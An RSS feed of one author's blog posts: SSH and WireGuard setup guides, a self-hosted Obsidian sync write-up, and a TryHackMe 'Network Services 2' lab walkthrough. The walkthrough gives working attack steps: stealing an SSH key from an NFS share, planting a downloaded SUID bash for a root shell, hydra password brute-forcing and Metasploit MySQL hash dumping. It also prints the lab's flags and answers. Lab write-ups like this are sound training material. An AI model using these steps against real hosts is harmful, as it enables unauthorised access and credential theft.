<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zinon_ZE on Medium]]></title>
        <description><![CDATA[Stories by Zinon_ZE on Medium]]></description>
        <link>https://medium.com/@zinon-learning?source=rss-bfefec9a2c0e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*i-J99NMPDZYTZeH6sfleCg.jpeg</url>
            <title>Stories by Zinon_ZE on Medium</title>
            <link>https://medium.com/@zinon-learning?source=rss-bfefec9a2c0e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 00:33:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zinon-learning/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SSH Key Setup on Debian 12: Step-by-Step Server Login Guide]]></title>
            <link>https://zinon-learning.medium.com/dont-know-how-to-set-up-ssh-here-s-everything-you-need-d3a61250e978?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3a61250e978</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[server-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 18:57:09 GMT</pubDate>
            <atom:updated>2026-02-09T18:48:59.999Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>SSH: From Setup to Hardening</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*xVN9_oUCt6aBfD83lskIhg.png" /></figure><h3>Setting Up Your SSH</h3><h4>SSH Key Generation</h4><pre>ssh-keygen -t ed25519 -C &quot;yourmail@something.com&quot;</pre><p>Press enter to set default location at <strong>(<em>~/.ssh/id_ed25519</em>).</strong></p><p>You can add <strong>passphrase </strong>(Optional)</p><h4><strong>Change permission on key files</strong></h4><pre>chmod 700 ~/.ssh<br>chmod 600 ~/.ssh/id_ed25519<br>chmod 644 ~/.ssh/id_ed25519.pub</pre><h4>Add public key to the server/VPS</h4><pre>ssh-copy-id username@IP</pre><p><strong><em>DONE~~~ You’ve now set up your own SSH key and server login.</em></strong></p><h4>Login to your server</h4><pre>ssh username@IP</pre><h4>Tired of copying and pasting username and Ip every time you log in?</h4><pre>nano ~/.ssh/config</pre><pre>Host vps<br>  HostName VpsIP<br>  User username<br>  IdentityFile ~/.ssh/id_ed25519<br>  IdentitiesOnly yes</pre><p>You can now login with this</p><pre>ssh vps</pre><p>NOTE — Host (vps) u can replace with anything you like btw.</p><h3>Basic SSH Hardening</h3><p>In your <em>server</em></p><pre>sudo nano /etc/ssh/sshd_config</pre><pre>PasswordAuthentication no<br><br>ChallengeResponseAuthentication no<br><br>PermitRootLogin no<br><br>UsePAM no</pre><blockquote>SSH is set up, secured, and ready. Keep your keys safe, and you’re good to go!</blockquote><p><strong>Questions? Reach out anytime on Discord or Telegram — ZinonBwU</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3a61250e978" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WireGuard VPN for Self-Hosted Networks: Complete Setup Guide]]></title>
            <link>https://zinon-learning.medium.com/building-a-secure-vpn-with-wireguard-a-practical-introduction-abff91059103?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/abff91059103</guid>
            <category><![CDATA[self-hosted]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[wireguard]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 20:52:33 GMT</pubDate>
            <atom:updated>2026-02-09T18:46:12.948Z</atom:updated>
            <content:encoded><![CDATA[<p><em>In this article, we’re gon explore hosting a </em>personal VPN server using <strong>WireGuard</strong><em>!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WwCIkMPCNX371MiXl6jW9w.png" /></figure><h4>What is WireGuard?</h4><p>WireGuard is a modern, simple, fast, and secure VPN protocol that operates at <strong>Layer 3</strong>(Network Layer). It creates a virtual network interface for your device, using a private key and a public key for each peer. It relies on <strong>peer-to-peer</strong> connections, making it lightweight, efficient, and easy to manage.</p><h4>Why use WireGuard?</h4><p>Unlike older VPN protocols such as OpenVPN and IPsec, which often involve complex configuration and multiple layers of abstraction, WireGuard is designed to maintain <strong>minimal connection state </strong>and <strong>avoids complex configs</strong>.</p><h4>Prerequisites</h4><ol><li><strong>A laptop or desktop computer</strong></li><li>A <strong>virtual private server (VPS) </strong>or any server environment where WireGuard can be installed</li></ol><ul><li><strong>Debian 12</strong> is recommended for its stability</li></ul><p>3. <strong>A client device — </strong><em>Laptop, mobile, or PC.</em></p><blockquote>A low-cost VPS is sufficient for this setup. For example, entry-level plans from providers such as <a href="https://aklam.io/r0ckfist">IONOS</a> are available for approximately $2 per month.</blockquote><p><strong><em>So without further ado, let’s begin setting up our VPN in server!!!</em></strong></p><h3>STEP 1 — SSH into the VPS from Windows</h3><p>(<em>This step may be skipped if you are already familiar with SSH</em>.)</p><p>Firstly, get ssh key from your VPS provider and put it in the folder.</p><p>Now let’s configure some <strong>permissions </strong>for it to work. <br>Go to File Explorer -&gt; Right Click on the folder -&gt; Properties -&gt; Security tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*QXRR23Rq05bm5EcQWXdEjw.png" /></figure><p>Advanced -&gt; Disable inheritance -&gt; Remove all inherited permissions from this object</p><p>Once you do it, all the permission entries will disappear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*vCguncmgomXv0XWExdtP5A.png" /></figure><p>Now Add -&gt; Select a principal -&gt; Advanced…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*SbgLBBLkLwdGs7tFYFQnKg.png" /></figure><p>This will pop up <br>Click Find Now to make search results show up, and once they show up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/202/1*R8SUvIpGdBGyjByh9T88Lg.png" /></figure><p>Find this 1 guy logo with USER next to it -&gt; Double click</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*YL7InUKpgOsf3z-2tyl4rA.png" /></figure><p>U get smth like this, and OK.<br>Tick — Full Control</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*4WbsvEbxEw3Bp0_7ZNtjjQ.png" /></figure><p>OK-&gt; Apply -&gt; OK</p><p>and ur done</p><p>Now, once ur done wth everything, right-click on the folder again and choose Open in Terminal.</p><p><strong>Assuming you already have the ssh file from VPS provider in that folder!!!</strong></p><pre>ssh -i YOURFILENAME root@1.1.1.1 </pre><p>Note- username(root) can change depending on the VPS of your choice, and network 1.1.1.1 is a placeholder, and change it to your VPS IP.</p><p>Wth that, you have <strong>SSHed into the VPS from Windows.</strong></p><h3>STEP 2— Setting up WireGuard in VPS — server (Part 1)</h3><p><strong>Assuming you also have Debian Linux for your vps</strong></p><pre>sudo apt update                       # Refresh local package index from repositories<br>sudo apt install wireguard            # Install WireGuard tool<br><br>wg genkey &gt; private                   # Generate a WireGuard private key<br>cat private                           # Output of this should be saved and never be revealed (will be used in Step3)<br>chmod 600 private                     # Restrict private key file permissions (owner read/write only)<br><br>ip link add wg0 type wireguard        # Create a new WireGuard network interface named wg0<br>ip addr add 10.0.0.1/24 dev wg0       # Assign a private IP address to the wg0 interface<br><br>wg set wg0 private-key ./private      # Load the private key into the wg0 interface<br><br>ip link set wg0 up                    # Bring the wg0 interface up<br><br>wg show                               #Check out what u js did </pre><h3>STEP 3— Setting up WireGuard in Windows — client</h3><p>First go to <a href="https://www.wireguard.com/install/">the WireGuard website</a> and install. This one is intuitive.</p><p>Then make a folder WireGuard.</p><p>Then open that folder in CMD.</p><p><strong>FYI File Explore &gt; WireGuard Folder &gt; right click &gt; Open in terminal</strong></p><pre>wg genkey &gt; private                         #Generating Client private key <br>Get-Content private | wg pubkey &gt; public    # Generating Client public key from private key<br>notepad wg0.conf                            #this will open up notepad</pre><p>Now inside <em>notepad </em>there are a few configurations u gotta write!!</p><pre>[Interface]<br><br>PrivateKey = PUT *CLIENT* PRIVATE KEY<br>Address    = 10.0.0.2/32<br>DNS    = 1.1.1.1<br><br>[Peer]<br>PublicKey = PUT *SERVER* PUBLIC KEY<br>Endpoint = YOUR VPS PUBLIC IP:51820<br>AllowedIPs = 0.0.0.0/0<br>PersistentKeepalive = 25</pre><p>NOTE — <em>Put PrivateKey and Peer PublicKey correctly</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*wRPM_dI9Cu1_FtQqAJIQLA.png" /></figure><p>In the WireGuard application, put the config file above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*MsDnOlw3bPxZk7FLbyF5eQ.png" /></figure><p>U might wanna hit activate, but don’t do it now or u will lose connection.</p><h3>STEP 4— Setting up WireGuard in VPS — server (Part 2)</h3><p>The last step is crucial.</p><pre>wg set wg0 peer &lt;CLIENT_PUBLIC_KEY&gt; allowed-ips 10.0.0.2/32     #setting Client Public key so they can communicate<br></pre><pre>sudo nano /etc/sysctl.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*MaMMB-tzJ7jmekPFRvfvpQ.png" /></figure><p>Something like this will pop up</p><p><strong>FIND </strong>net.ipv4.ip_forward=1 Remove # in front of it!!! <br>This is to enable port forwarding on theVPS.</p><pre>sudo sysctl -p         #This will reload</pre><p>After that, we will set up NAT</p><pre>sudo apt install iptables                                                   #Installing iptables<br>sudo iptables -A INPUT -p udp --dport 51820 -j ACCEPT<br>sudo iptables -A FORWARD -i wg0 -j ACCEPT<br>sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE    #NOTE refer to ifconfig to see if your network interface is eth0 if not change it to yours</pre><p>Next, make it persistent</p><pre>sudo apt install netfilter-persistent<br>sudo netfilter-persistent save</pre><p>If everything works correctly, you will get this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*OAiUYsusZhPj_6Z610saWA.png" /></figure><p>Then, from the application on your client (Windows machine), you can click ‘Activate’ and connect to the server.</p><p>Try ping 10.0.0.2 from VPS</p><p>Try ping 10.0.0.1 from Client Device <br>Try ping google.com from both VPS and Client Device</p><p>If it works, <strong>congratulations — you just built your own VPN server!</strong></p><p>If you run into any errors, feel free to reach out:</p><p>Discord — Zinonmissu</p><p>Telegram — ZinonBwU</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abff91059103" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Self-Hosted Obsidian Sync with Docker, CouchDB, Cloudflare Tunnel & Deno]]></title>
            <link>https://zinon-learning.medium.com/how-i-self-hosted-obsidian-sync-with-docker-couchdb-cloudflare-tunnel-deno-a008d6b7a773?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a008d6b7a773</guid>
            <category><![CDATA[obsidianlivesync]]></category>
            <category><![CDATA[obsidian]]></category>
            <category><![CDATA[notetaking]]></category>
            <category><![CDATA[self-hosting]]></category>
            <category><![CDATA[fuck-around-and-find-out]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 21:45:37 GMT</pubDate>
            <atom:updated>2025-06-22T21:45:37.518Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>No paid Obsidian Sync, full control, and all the fun of messing around!!!</blockquote><blockquote>- Zinon</blockquote><h3>Why I Did This?</h3><p>I use Obsidian as my main note taking app. Syncing notes across my devices without relying on Obsidian’s paid service sounds like a cool challenge. I wanted:</p><ul><li>Full control over my data</li><li>A solution that works without paid VPS</li><li>Learning experience (setting up my own server, docker….)</li></ul><p>This was the result of hours of googling, wrestling with Chatgpt and pure “f**k around and find out” energy🫠</p><p>I’m posting this because I want to <strong>document what I did</strong> , and I (and anyone else) can look back and understand how it all came together.</p><h3>The Tools I Used</h3><ul><li><strong>Docker</strong> — to run CouchDB in a container</li><li><strong>CouchDB</strong> — the database to store my notes</li><li><strong>Cloudflare Tunnel</strong> — to expose my local CouchDB to the internet</li><li><strong>Deno</strong> — to generate the special Obsidian LiveSync setup URI</li><li><strong>Obsidian LiveSync Plugin</strong> — the tool that syncs my notes across devices</li></ul><h3>Here is how I did (Step-by-Step)</h3><h4>1. Prepare Environment &amp; Directories</h4><p>I started by making folders to hold CouchDB data and configurations.</p><pre>mkdir couchdb-data<br>mkdir couchdb-etc</pre><p>Exported environment variables.</p><pre>export hostname=localhost:5984<br>export username=username #change to whatever that suits u<br>export password=password #change to whatever that suits u</pre><h4>2. Write docker-compose.yml</h4><pre>services:<br>  couchdb:<br>    image: couchdb:latest<br>    container_name: couchdb-for-ols<br>    user: 1000:1000<br>    environment:<br>      - COUCHDB_USER=${username}<br>      - COUCHDB_PASSWORD=${password}<br>    volumes:<br>      - ./couchdb-data:/opt/couchdb/data<br>      - ./couchdb-etc:/opt/couchdb/etc/local.d<br>    ports:<br>      - 5984:5984<br>    restart: unless-stopped</pre><h4>3. Run docker-compose</h4><p>incase you haven’t installed(cz i didn’t)</p><pre>sudo apt install docker-compose</pre><p>Then started the container:</p><pre>sudo docker-compose up -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*xteBLItIsLMhIQGd64lnlg.png" /></figure><h4>4. Set Up Cloudflare Tunnel</h4><p>Download - <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/">cloudflared</a> and install from their official repo, then ran</p><pre>cloudflared tunnel --url http://localhost:5984</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*HigEyomk9E73udAS7aZsxw.png" /></figure><p>It gave me a public URL like:</p><p><a href="https://blahblahblah.trycloudflare.com/"><strong>https://blahblahblah.trycloudflare.com</strong></a></p><p><strong>Note:</strong> This URL changes every time you re-run the tunnel, so be careful when syncing across devices. Either keep the tunnel alive or look into <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/get-started/">automating it with a named tunnel and config file for a persistent URL</a> (I’m working on that next )</p><h4>5. Generate Obsidian LiveSync Setup URI with Deno</h4><p>Install deno</p><pre>curl -fsSL https://deno.land/install.sh | sh</pre><p>Don’t forget to add to the path and refresh the shell</p><p>Exported environment variables.</p><pre>export hostname=https://upper-born-muscle-flag.trycloudflare.com<br>export database=obsidiannotes<br>export passphrase=passphrase # change to whatever that suits u<br>export username=username     # change to whatever that suits u<br>export password=password     # change to whatever that suits u</pre><p>You will get the url link and passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*NyzmjDuevg05LClBDH5_DQ.png" /></figure><p>With this You are close to done!!!</p><p>Got a special obsidian://setuplivesync?... URI — clicked it, and the plugin was pre-configured put the passphrase and DONE!<br>Congrat we got the sync server setup!!!!!</p><h3>The Not-So-Perfect Reality: Persistence Issues TT</h3><p>Here’s the real talk — <strong>after rebooting</strong>, both my Docker CouchDB container and the Cloudflare tunnel <strong>stop running</strong>. So my sync server dies, and I gotta manually restart everything. It kinda kill the whole vibe lowkey but well it’s part of the learning and as i research more, I’m planning to:</p><ul><li>Learn bash scripting</li><li>Automate starting Docker containers and Cloudflare tunnels on system boot</li><li>Maybe turn this into a <strong>systemd service</strong> for auto boot</li></ul><p>This way, my sync backend can run silently in the background without dying after every reboot.</p><p>It’s a work in progress, but I <em>get it now</em>. I understand how it all connects.</p><h3>Credits &amp; Shoutouts</h3><p>Big shoutout to <a href="https://github.com/vrtmrz">@vrtmrz</a> project and docs — they were my main source. <br> ↳ <a href="https://github.com/vrtmrz/obsidian-livesync">Obsidian LiveSync GitHub</a><br> ↳ <a href="https://github.com/vrtmrz/obsidian-livesync/blob/main/docs/setup_own_server.md">Setup Your Own Server</a></p><p>I adapted their guide and experimented on Kali Linux.</p><h3>Final Thoughts</h3><p>This was a crash course in:</p><ul><li>Docker</li><li>Secure syncing</li><li>tunneling</li><li>Learning while doing</li></ul><p>📌 <em>Zinon</em><br> Learning cybersecurity, journaling life.Feel free to DM or ask anything.</p><p>discord — zinonmissu</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a008d6b7a773" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Services 2]]></title>
            <link>https://zinon-learning.medium.com/network-services-2-37616e939933?source=rss-bfefec9a2c0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/37616e939933</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackmenetworkservices2]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Zinon_ZE]]></dc:creator>
            <pubDate>Tue, 23 Jan 2024 19:27:28 GMT</pubDate>
            <atom:updated>2024-01-23T19:27:28.735Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task — 1(Get connected)</h3><p>You should complete <a href="https://tryhackme.com/room/networkservices">network services 1 </a>first</p><p>Have knowledge on Linux too!</p><p><a href="https://tryhackme.com/module/linux-fundamentals">‘Linux Fundamentals’ module</a></p><p>Ok Les begin if you got all those knowledges!!</p><h3>Task — 2 (Understanding NFS)</h3><p><strong>What does NFS stand for?</strong></p><blockquote>Network File System</blockquote><p><strong>What process allows an NFS client to interact with a remote directory as though it was a physical device?</strong></p><blockquote>Mounting</blockquote><p><strong>What does NFS use to represent files and directories on the server?</strong></p><blockquote>file handle</blockquote><p><strong>What protocol does NFS use to communicate between the server and client?</strong></p><blockquote>RPC</blockquote><p><strong>What two pieces of user data does the NFS server take as parameters for controlling user permissions? Format: parameter 1 / parameter 2</strong></p><blockquote>user id /group id</blockquote><p><strong>Can a Windows NFS server share files with a Linux client? (Y/N)</strong></p><blockquote>Y</blockquote><p><strong>Can a Linux NFS server share files with a MacOS client? (Y/N)</strong></p><blockquote>Y</blockquote><p><strong>What is the latest version of NFS? [released in 2016, but is still up to date as of 2020] This will require external research.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*sdbQG7OeBRH9HRYtr0i5dA.png" /></figure><blockquote>4.2</blockquote><h3>Task — 3(Enumerating NFS)</h3><p><strong>Conduct a thorough port scan scan of your choosing, how many ports are open?</strong></p><pre>nmap -T4 -vv -p- IP</pre><blockquote>7</blockquote><p><strong>Which port contains the service we’re looking to enumerate?</strong></p><blockquote>2049</blockquote><p><strong>Now, use /usr/sbin/showmount -e [IP] to list the NFS shares, what is the name of the visible share?</strong></p><pre>/usr/sbin/showmount -e IP</pre><p>/home</p><p><strong>Time to mount the share to our local machine!</strong></p><p><strong>First, use “<em>mkdir /tmp/mount</em>” to create a directory on your machine to mount the share to. This is in the /tmp directory- so be aware that it will be removed on restart.</strong></p><p><strong>Then, use the mount command we broke down earlier to mount the NFS share to your local machine. Change directory to where you mounted the share- what is the name of the folder inside?</strong></p><pre>mkdir /tmp/mount</pre><pre>sudo mount -t nfs 10.10.25.187:home /tmp/mount/ -nolock (replace ur machine ip)</pre><pre>cd /tmp/mount<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/117/1*0QowLhHH4FC-nOqbX4s-tg.png" /></figure><blockquote>cappucino</blockquote><p><strong>Have a look inside this directory, look at the files. Looks like we’re inside a user’s home directory…</strong></p><pre>cd cappucino</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*yYiY1yBbCXRaNneYLn1N5w.png" /></figure><p><strong>Interesting! Let’s do a bit of research now, have a look through the folders. Which of these folders could contain keys that would give us remote access to the server?</strong></p><blockquote>.ssh</blockquote><p><strong>Which of these keys is most useful to us?</strong></p><pre>cd .ssh<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*zUJEvRStSDT9SYBCbX7hoA.png" /></figure><blockquote>id_rsa</blockquote><p><strong>Copy this file to a different location your local machine, and change the permissions to “600” using “chmod 600 [file]”.</strong></p><p><strong>Assuming we were right about what type of directory this is, we can pretty easily work out the name of the user this key corresponds to.</strong></p><p><strong>Can we log into the machine using <em>ssh -i &lt;key-file&gt; &lt;username&gt;@&lt;ip&gt;</em> ? (Y/N)</strong></p><pre>ssh -i id_rsa cappucino@10.10.25.187</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*JN-F9ZRmjuaWTjnySD2mxA.png" /></figure><blockquote>Y</blockquote><h3>Task — 4(Exploiting NFS)</h3><p><strong>First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user’s home directory.</strong></p><pre>cd /tmp/mount/cappucino</pre><p><strong>Download the bash executable to your Downloads directory. Then use “cp ~/Downloads/bash .” to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using “sudo chown root bash”</strong></p><pre>wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash</pre><pre>sudo chown root bash</pre><p><strong>Now, we’re going to add the SUID bit permission to the bash executable we just copied to the share using “sudo chmod +[permission] bash”. What letter do we use to set the SUID bit set using chmod?</strong></p><pre>sudo chmod +s bash</pre><p><strong>Let’s do a sanity check, let’s check the permissions of the “bash” executable using “ls -la bash”. What does the permission set look like? Make sure that it ends with -sr-x.</strong></p><pre>sudo chmod +x bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/107/1*oJL1TXm9dIGBw61T1NU9Qw.png" /></figure><p><strong>Now, SSH into the machine as the user. List the directory to make sure the bash executable is there. Now, the moment of truth. Lets run it with “<em>./bash -p</em>”. The -p persists the permissions, so that it can run as root with SUID- as otherwise bash will sometimes drop the permissions.</strong></p><pre>cd /tmp/mount/cappucino/.ssh<br>ssh -i id_rsa cappucino@10.10.25.187 (replace with ur ip)</pre><pre>ls -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*PcJ9FYXvDs6H3l-6gAooUA.png" /></figure><pre>./bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*XN1eq-g7JZ92xK2wd1HZHQ.png" /></figure><p><strong>Great! If all’s gone well you should have a shell as root! What’s the root flag?</strong></p><pre>cd /root<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*p_7E6msEHvk-AcJshyposQ.png" /></figure><p>u get the root.txt</p><pre>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*SykqtmbIcE3scLDc9VxRJw.png" /></figure><blockquote>THM{nfs_got_pwned}</blockquote><h3>Task — 5 (Understanding SMTP)</h3><p><strong>What does SMTP stand for?</strong></p><blockquote>Simple Mail Transfer Protocol</blockquote><p><strong>What does SMTP handle the sending of? (answer in plural)</strong></p><blockquote>emails</blockquote><p><strong>What is the first step in the SMTP process?</strong></p><blockquote>SMTP handshake</blockquote><p><strong>What is the default SMTP port?</strong></p><blockquote>25</blockquote><p><strong>Where does the SMTP server send the email if the recipient’s server is not available?</strong></p><blockquote>SMTP queue</blockquote><p><strong>On what server does the Email ultimately end up on?</strong></p><blockquote>POP/IMAP</blockquote><p><strong>Can a Linux machine run an SMTP server? (Y/N)</strong></p><blockquote>Y</blockquote><p><strong>Can a Windows machine run an SMTP server? (Y/N)</strong></p><blockquote>Y</blockquote><h3>Task — 6 (Enumerating SMTP)</h3><p>Note : I suggest completing <a href="https://tryhackme.com/module/metasploit"><strong>Metasploit Module</strong></a> first</p><p><strong>First, lets run a port scan against the target machine, same as last time. What port is SMTP running on?</strong></p><pre>nmap -sV IP</pre><blockquote>25</blockquote><p><strong>Okay, now we know what port we should be targeting, let’s start up Metasploit. What command do we use to do this?</strong></p><blockquote>msfconsole</blockquote><p><strong>Let’s search for the module “smtp_version”, what’s it’s full module name?</strong></p><pre>search smtp_version</pre><blockquote>auxiliary/scanner/smtp/smtp_version</blockquote><p><strong>Great, now- select the module and list the options. How do we do this?</strong></p><blockquote>options</blockquote><p><strong>Have a look through the options, does everything seem correct? What is the option we need to set?</strong></p><blockquote>rhosts</blockquote><p><strong>Set that to the correct value for your target machine. Then run the exploit. What’s the system mail name?</strong></p><pre>set rhosts IP<br>run</pre><blockquote>polosmtp.home</blockquote><p><strong>What Mail Transfer Agent (MTA) is running the SMTP server? This will require some external research.</strong></p><blockquote>Postfix</blockquote><p><strong>Good! We’ve now got a good amount of information on the target system to move onto the next stage. Let’s search for the module “<em>smtp_enum</em>”, what’s it’s full module name?</strong></p><pre>search smtp_enum</pre><blockquote>auxiliary/scanner/smtp/smtp_enum</blockquote><pre>use 0<br>options<br>sudo apt install seclists #if you haven&#39;t download seclists</pre><p><strong>What option do we need to set to the wordlist’s path?</strong></p><pre>set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt</pre><blockquote>user_file</blockquote><p><strong>Once we’ve set this option, what is the other essential paramater we need to set?</strong></p><pre>set rhosts IP</pre><blockquote>rhosts</blockquote><p><strong>Now, run the exploit, this may take a few minutes, so grab a cup of tea, coffee, water. Keep yourself hydrated!</strong></p><pre>run</pre><blockquote>No Answer Needed</blockquote><p><strong>Okay! Now that’s finished, what username is returned?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*8KBLL3FEkBQZ1Y6CGlCKDg.png" /></figure><blockquote>administrator</blockquote><h3>Task — 7 (Exploiting SMTP)</h3><p><strong>What is the password of the user we found during our enumeration stage?</strong></p><pre>hydra -t 16 -l administrator -P /usr/share/wordlists/rockyou.txt -vV IP ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*5d92ajW2cYv7xjYtBqnirQ.png" /></figure><blockquote>alejandro</blockquote><p><strong>Great! Now, let’s SSH into the server as the user, what is contents of smtp.txt</strong></p><pre>ssh administrator@10.10.247.4</pre><p>password — alejandro</p><pre>ls<br>cat smtp.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*OMJiI_vRo2qr-mmxkrcwYg.png" /></figure><blockquote>THM{who_knew_email_servers_were_c00l?}</blockquote><h3>Task — 8( Understanding MySQL )</h3><p><strong>What type of software is MySQL?</strong></p><blockquote>relational Database Management Syastem</blockquote><p><strong>What language is MySQL based on?</strong></p><blockquote>SQL</blockquote><p><strong>What communication model does MySQL use?</strong></p><blockquote>client-server</blockquote><p><strong>What is a common application of MySQL?</strong></p><blockquote>back end database</blockquote><p><strong>What major social network uses MySQL as their back-end database? This will require further research.</strong></p><blockquote>facebook</blockquote><h3>Task — 9 (Enumerating MySQL)</h3><p><strong>As always, let’s start out with a port scan, so we know what port the service we’re trying to attack is running on. What port is MySQL using?</strong></p><pre>nmap -sV Machine&#39;s IP</pre><blockquote>3306</blockquote><p><strong>Good, now- we think we have a set of credentials. Let’s double check that by manually connecting to the MySQL server. We can do this using the command “<em>mysql -h [IP] -u [username] -p</em>”</strong></p><pre>mysql -h IP -u root -p</pre><p>Password &gt; password</p><p><strong>Okay, we know that our login credentials work. Lets quit out of this session with “exit” and launch up Metasploit.</strong></p><pre>exit<br>msfconsole -q</pre><p><strong>We’re going to be using the “mysql_sql” module.</strong></p><p><strong>Search for, select and list the options it needs. What three options do we need to set? (in descending order).</strong></p><pre>search mysql_sql<br>use 0<br>options<br><br>set password password<br>set Rhosts IP<br>set username root<br>exploit</pre><blockquote>PASSWORD/RHOSTS/USERNAME</blockquote><p><strong>Run the exploit. By default it will test with the “select version()” command, what result does this give you?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*JwaU_4gVcUgUHj6wybSafg.png" /></figure><blockquote>5.7.29–0ubuntu0.18.04.1</blockquote><p><strong>Great! We know that our exploit is landing as planned. Let’s try to gain some more ambitious information. Change the “sql” option to “show databases”. how many databases are returned?</strong></p><pre>set sql show databases</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*3bmFxQrDCrt6t4NbzhhsBw.png" /></figure><blockquote>4</blockquote><h3>Task — 10 (Exploiting MySQL)</h3><p><strong>First, let’s search for and select the “mysql_schemadump” module. What’s the module’s full name?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*xG7_P4deHqVG3EyQ7vr4Yg.png" /></figure><blockquote>auxiliary/scanner/mysql/mysql_schemadump</blockquote><p><strong>Great! Now, you’ve done this a few times by now so I’ll let you take it from here. Set the relevant options, run the exploit. What’s the name of the last table that gets dumped?</strong></p><pre>set rhosts IP<br>set username root<br>set password password<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*btFIhIRn_KLKvmmKim6N4Q.png" /></figure><blockquote>x$waits_global_by_latency</blockquote><p><strong>Awesome, you have now dumped the tables, and column names of the whole database. But we can do one better… search for and select the “mysql_hashdump” module. What’s the module’s full name?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*pmeYRipqGK-G81TjdQL92Q.png" /></figure><blockquote>auxiliary/scanner/mysql/mysql_hashdump</blockquote><p><strong>Again, I’ll let you take it from here. Set the relevant options, run the exploit. What non-default user stands out to you?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*3koq5VkQpbDKLuXDKPzyIA.png" 